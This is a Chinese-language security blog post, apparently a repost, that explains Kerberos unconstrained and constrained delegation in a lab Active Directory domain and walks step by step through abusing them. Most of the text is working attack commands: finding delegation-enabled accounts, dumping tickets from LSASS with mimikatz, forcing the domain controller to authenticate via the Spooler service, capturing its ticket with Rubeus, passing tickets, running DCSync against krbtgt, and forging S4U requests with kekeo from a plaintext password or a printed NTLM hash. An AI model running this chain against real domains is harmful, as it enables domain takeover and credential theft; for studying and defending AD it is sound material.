非约束委派和约束委派攻击

  • A+
所属分类:安全文章

前言

本文是观看了谢公子的文章by七友这两位师傅的文章之后写的,他们的文章对我的帮助实在是太大了。

非约束委派和约束委派攻击

我们知道委派是基于服务的,在域内找服务一般通过SPN来寻找,这里我们可以先为用户注册一个SPN服务。

setspn -A http/nginx user0x1

非约束委派和约束委派攻击

非约束性委派(Unconstrained Delegation):对于非约束性委派(Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl 属性有个FLAG位 TRUSTED_FOR_DELEGATION。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。

非约束委派和约束委派攻击

非约束委派和约束委派攻击

约束性委派(Constrained Delegation):由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。

非约束委派和约束委派攻击

非约束委派和约束委派攻击

非约束委派的查找

ldapsearch

kali上自带,适合在域外查询这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可这个测试环境中,我们获得了域内普通用户user0x1的口令为q123456.
连接命令如下:
查找域中配置非约束委派的用户:
过滤条件

(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))

搜索命令:

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456.  -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

非约束委派和约束委派攻击

查找域中配置非约束委派的主机:
注:域控主机账户默认开启非约束委派
过滤条件

(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))

搜索命令:

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

非约束委派和约束委派攻击

注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机

ADFind
使用参数

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明:

-b:指定要查询的根节点

-f:LDAP过滤条件

attr list:需要显示的属性

查找域中配置非约束委派的用户:

.AdFind.exe  -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派和约束委派攻击

查找域中配置非约束委派的主机:

.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派和约束委派攻击

PowerView
查找域中配置非约束委派用户

Get-NetUser -Unconstrained -Domain networksec.loacl |select name

查找域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain networksec.loacl

查询域中配置非约束委派的主机(另外一个版本的powerview):

Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize

约束委派的查找

ldapsearch
查找域中配置约束委派用户
过滤条件

(&(samAccountType=805306368)(msds-allowedtodelegateto=*))

搜索命令:

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

非约束委派和约束委派攻击

查找域中配置约束委派的主机:
过滤条件

(&(samAccountType=805306369)(msds-allowedtodelegateto=*))

搜索命令:

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x2,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

非约束委派和约束委派攻击

ADFind
查找域中配置约束委派用户

 .AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束委派和约束委派攻击

查找域中配置约束委派的主机:

 .AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束委派和约束委派攻击

PowerView
注:Powerview有两个版本,一个在
dev分支,一个在master分支
查找域中配置约束委派用户

Get-DomainUser –TrustedToAuth -domain networksec.loacl -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

非约束委派和约束委派攻击

查找域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

非约束委派和约束委派攻击

非约束委派的利用

概述

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):

非约束委派和约束委派攻击

上图的Kerberos请求描述分为如下步骤:(微软文档地址如下)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a

1.用户向KDC发送KRB_AS_REQ消息请求可转发的TGT1

2.KDC在KRB_AS_REP消息中返回TGT1

3.用户根据步骤2中的TGT1请求转发TGT2。

4.KDC在KRB_TGS_REP消息中为user返回TGT2。

5.用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)

6.TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7.用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8.service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。

9.KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。

10.service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11.service2响应service1的请求。

12.有了这个响应,service1就可以在步骤7中响应用户的请求。

13.这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14.KDC返回步骤13中请求的ST

15.15和16 步骤service1以用户的名义来请求其它服务

注:TGT1(forwardable TGT)用于访问Service1,TGT2(forwarded TGT)用于访问Service2

操作环境:
域:networksec.loacl
域控:windows server 2012R2,主机名:dc,IP:172.16.25.242,用户:administrator
域内主机:windows server 2012R2,主机名:user,IP:172.16.25.241,用户:user0x1

注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
现在我们将user这个主机用户设置为非约束委派

非约束委派和约束委派攻击

非约束委派和约束委派攻击

要确认/查找域中具有不受限制的Kerberos授权属性集的计算机,这个命令需要有安装AD的情况下。如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .Microsoft.ActiveDirectory.Management.dll请执行以下操作:

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

非约束委派和约束委派攻击

然后我们以administrator的身份通过WinRM服务远程连接user机器
注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了。在administrator主机上利用 Enter-PSSession -ComputerName zhangsan命令连接到user0x1,此时域控上登陆的用户为域管administrator,通过查询IP发现当前shell的IP变成了user0x1机器的IP,可以理解成administrator委派user0x1代表自己在对zhangsan进行操作。

Enter-PSSession -ComputerName user

非约束委派和约束委派攻击

这个时候已经有了票据了,登录到user这台机器上面,通过mimikatz可以导出Administrator发送过来的TGT内容。这里需要使用管理员权限打开mimikatz,然后通过privilege::debug命令提升权限,如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。再使用sekurlsa::tickets /export命令导出内存中所有的票据。

privilege::debug

sekurlsa::tickets /export

非约束委派和约束委派攻击

接着就可以看到一开始我们是不可以访问到域控制器的,接着通过把刚刚提取出来的票据。我们就可以访问到域控制器了。

非约束委派和约束委派攻击

接着就可以通过WinRM远程控制登录到域控制器了。

非约束委派和约束委派攻击

非约束委派+Spooler打印机服务

非约束委派单纯利用起来还是有点靠运气的,需要管理员主动链接留下高权限的TGT才能够利用,在实战中还是要靠运气,就有点像盲打XSS一样。靠打管理员的后台COOKIE来登录后台一样。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory

环境
域: networksec.loacl
域控:系统:Windows server 2012R2, 主机名: DC, IP: 172.16.25.242
域内主机:系统:Windows server 2012R2,主机名:user,ip:172.16.25.233

请求过程如下:

非约束委派和约束委派攻击

Print Spooler服务默认是自动运行的

非约束委派和约束委派攻击

这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限,这里我这是一天USER为非约束委派的机器。

非约束委派和约束委派攻击

注:是主机账户开启非约束委派,而不是服务用户
tifkin_在他的github上开源了POC:
https://github.com/leechristensen/SpoolSample
https://github.com/shanfenglan/test/tree/master/spooler 这个已经打包好了

向DC的Spooler服务发送请求,强制其访问USER进行身份验证

SpoolSample.exe DC USER

我直接用本地的管理员账号打开一个cmd,直接运行命令。如果不用高权限运行的话会报错

Rubeus.exe monitor /interval:5 /filteruser:DC$

我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT

/interval:5 设置监听间隔5秒

/filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT

这里我Rubeus监听票据失败了,不知道是什么原因,这里用两张harmj0y博客里面的图

非约束委派和约束委派攻击

非约束委派和约束委派攻击

Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中

Rubeus.exe describe /ticket:base64

Rubeus.exe ptt /ticket:base64

mimikatz.exe "lsadump::dcsync /domain:networksec.loacl /user:DCkrbtgt"

当然base64的TGT也可以转为票据,我们先复制Rubeus监听到的TGT的base64,然后直接用powershell转到为正常的TGT即可。接着就传递票据即可。

[IO.File]::WriteAllBytes("绝对路径TGSticket.kirbi", [Convert]::FromBase64String("得到的base64"))

可以查看到日志信息,有监听到事件ID 4624登录成功。

非约束委派和约束委派攻击

约束委派的利用

概述
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self和S4U2proxy的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

非约束委派和约束委派攻击

上图的Kerberos请求描述分为如下步骤:(微软稳定地址如下)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a

1.用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

2.通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3.KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

4.service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。

5.注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

6.用户向service1发出请求,service1需要以用户身份访问service2上的资源。

7.service1以用户的名义向KDC请求用户访问service2的ST2

8.如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

9.service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

10.service2响应步骤8的请求。

11.service1响应用户对步骤5中的请求。

操作环境:
域:networksec.loacl
域控:windows server 2012R2,主机名:dc,IP:172.16.25.242,用户:administrator
域内主机:windows server 2012R2,主机名:user,IP:172.16.25.233,用户:user0x2
域内主机:windows server 2012R2,主机名:user1,IP:172.16.25.241,用户:user0x1

攻击流程:

1.服务1 使用自己的hash向KDC申请一个TGT票据,注意在KDC Option里面选择forwardable标志位,这样的话请求的TGT票据就是可转发的TGT票据。命令:tgt::ask /user:user0x2 /domain:networksec.loacl /password:password. /ticket:test.kirbi

2.服务1 代表用户申请一个获得针对服务1自身的ST服务票据(这一步就是S4U2Self),这一步生成的ST服务票据是可转发的

3.服务1 拿着上一步这个ST服务票据向KDC请求访问特定服务的可转发的TGS(S4U2Proxy),并且代表用户访问特定服务,而且只能访问该特定服务。第2/3步的命令:Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/user0x2.networksec.loacl

DC是域内的域控制器,下面我们设置了服务用户user0x2对DC的cifs服务的委派,这里创建创建SPN服务的命令

setspn -A http/iis user0x2 #windows注册服务账户(域控才可以)

setspn -u lisi             #可以查询lisi的spn

非约束委派和约束委派攻击

概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT,首先查询域内配置了约束性委派的服务账号。

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

非约束委派和约束委派攻击

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:user0x2 /domain:networksec.loacl /password:q123456. /ticket:wptgt.kirbi

如果已知的是服务账号的NTLM Hash,则如下

tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:xxxxxxxxxxxxxxxx   /ticket:test.kirbi

参数:

/user: 服务用户的用户名

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

非约束委派和约束委派攻击

得到服务用户TGT:[email protected][email protected]
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问user0x3 cifs的ST

Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/user.networksec.loacl

非约束委派和约束委派攻击

S4U2Self获取到的ST1以及S4U2Proxy获取到的user0x3 CIFS服务的ST2会保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt [email protected]@[email protected]

非约束委派和约束委派攻击

成功访问到域控的cifs服务,这样整一个委派约束的攻击就完成了。

非约束委派和约束委派攻击

上面提到过kekeo是可以通过NTLM密文来进行获取票据的,请求服务用户的TGT那步直接把/password改成/NTLM即可
已知我们服务账号user0x2的NTLM hash是8f36f32a9708e03a03461eb87280dd0b

tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:8f36f32a9708e03a03461eb87280dd0b

tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dc.networksec.loacl

非约束委派和约束委派攻击

接着把票据加载进入到内存中。

kerberos::ptt [email protected]@[email protected]

非约束委派和约束委派攻击

非约束委派和约束委派攻击

如果明文密码和NTLM Hash都不知道,但是得到了服务账号所在主机的权限。例如这里可以看到有一个

非约束委派和约束委派攻击

那么,我们可以利用mimikatz从内存中将票据导出来,然后再执行

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

非约束委派和约束委派攻击

注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
这里已经把票据请求出来了,就不用再去ask请求TGT票据了

tgs::s4u /tgt:[0;4225b][email protected] /user:[email protected] /service:cifs/dc.networksec.loacl

非约束委派和约束委派攻击

这一步操作就是和上面的一样,把票据导入。

kerberos::ptt [email protected]@[email protected]

非约束委派和约束委派攻击

非约束委派和约束委派攻击


本文始发于微信公众号(黑白天实验室):非约束委派和约束委派攻击

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: